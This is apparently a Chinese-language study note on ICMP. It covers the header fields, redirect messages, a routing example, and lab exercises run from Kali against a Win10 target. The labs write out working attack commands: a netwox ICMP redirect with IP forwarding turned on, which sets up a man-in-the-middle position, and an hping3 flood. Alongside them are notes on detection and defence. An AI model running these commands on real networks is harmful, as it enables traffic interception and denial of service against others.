概述
- Internet Control Message Protocol网际控制消息协议,工作在网络层,制定了主机与路由器之间传递控制消息的标准。
- 控制消息:检测网络是否通畅、主机是否可达、路由是否可用的消息。
- 数据封装在网络层与传输层之间。
数据字段
Type: 8 (Echo (ping) request) ICMP报文类型,8表示请求,0表示响应(回复)
Code: 0 类型编码
Checksum: 0x4c8c [correct] 校验和,头部和数据的校验和,保证整个ICMP数据包完整性
Identifier (BE): 1 (0x0001) 用于标志发送数据包的进程
Sequence Number (BE): 207 (0x00cf) 标识数据包,请求与响应的数据包标识相同
Data (32 bytes) 数据
- Windows查看系统TTL值:
netsh interface ip get global - Windows修改系统TTL值:
netsh interface ip set global defaultcurhoplimit=值
重定向
- 当路由器检查到当前数据传输路径不是最优的路径时,会响应源主机一个ICMP报文,该报文为重定向报文,告诉源主机下一次发送该目的主机的报文时使用另外的网关,改变路由路径
案例
- Host1主机与R2连接的192.168.3.1端口主机
ping通讯,Host1主机检查目标IP(192.168.3.1)与自己的IP是否为相同网段,不是,则需要将数据发送给自己的网关转发,Host1主机发送ARP请求,获取网关(R1)MAC地址,R1收到ARP请求后,将自己的MAC地址响应给Host1主机,Host1主机将R1的MAC地址写入到自己的MAC表中; - Host1主机将发送给192.168.3.1的数据发送给R1转发,R1收到数据后,发现当路由路径不是最优的,Host1主机可以将数据直接交给R2,所以R1会响应给Host1主机一个ICMP重定向报文,提示Host1主机下一次发送该目的地的数据包可以直接交给R2,R1会将当前接收到的消息转发到目的地;
- Host1主机后续要发送给192.168.3.1的数据会交给R2转发;
ICMP重定向实验
主机:
- 靶机:win10
- 攻击主机:kali
步骤(kali):
- 下载攻击工具
netwox,工具说明文档:web.ecs.syr.edu/~wedu/Teach…apt-get install netwox - 执行命令发送ICMP重定向数据包
netwox 86 -d 网卡名称 -g 新网关IP -i 旧网关IP
netwox 86 -d eth0 -g 192.168.126.137 -i 192.168.126.2 - 开启转发
echo 1 > /proc/sys/net/ipv4/ip_forward
ICMP重定向攻击研判
- 现象:网络抖动较厉害(网络不稳定)
- 通过捕包工具捕获网卡数据包,查看是否存在大量ICMP重定向数据包;
ICMP攻击相较于ARP攻击的区别
- ICMP攻击会造成网络抖动(不稳定)、ARP会造成无法上网;
- ICMP可以跨网络攻击,在没借助其它技术情况下ARP只能同网络发起攻击;
如何防御ICMP
- 开启防火墙
ICMP的泛洪攻击(flood)
主机
- 靶机:win10
- 攻击主机:kali
步骤(kali):
- 使用命令持续向靶机发送大量数据包
hping3 -1 -d 数据包大小 --flood 靶机IPhping3 -1 -d 100000 --flood 192.168.126.134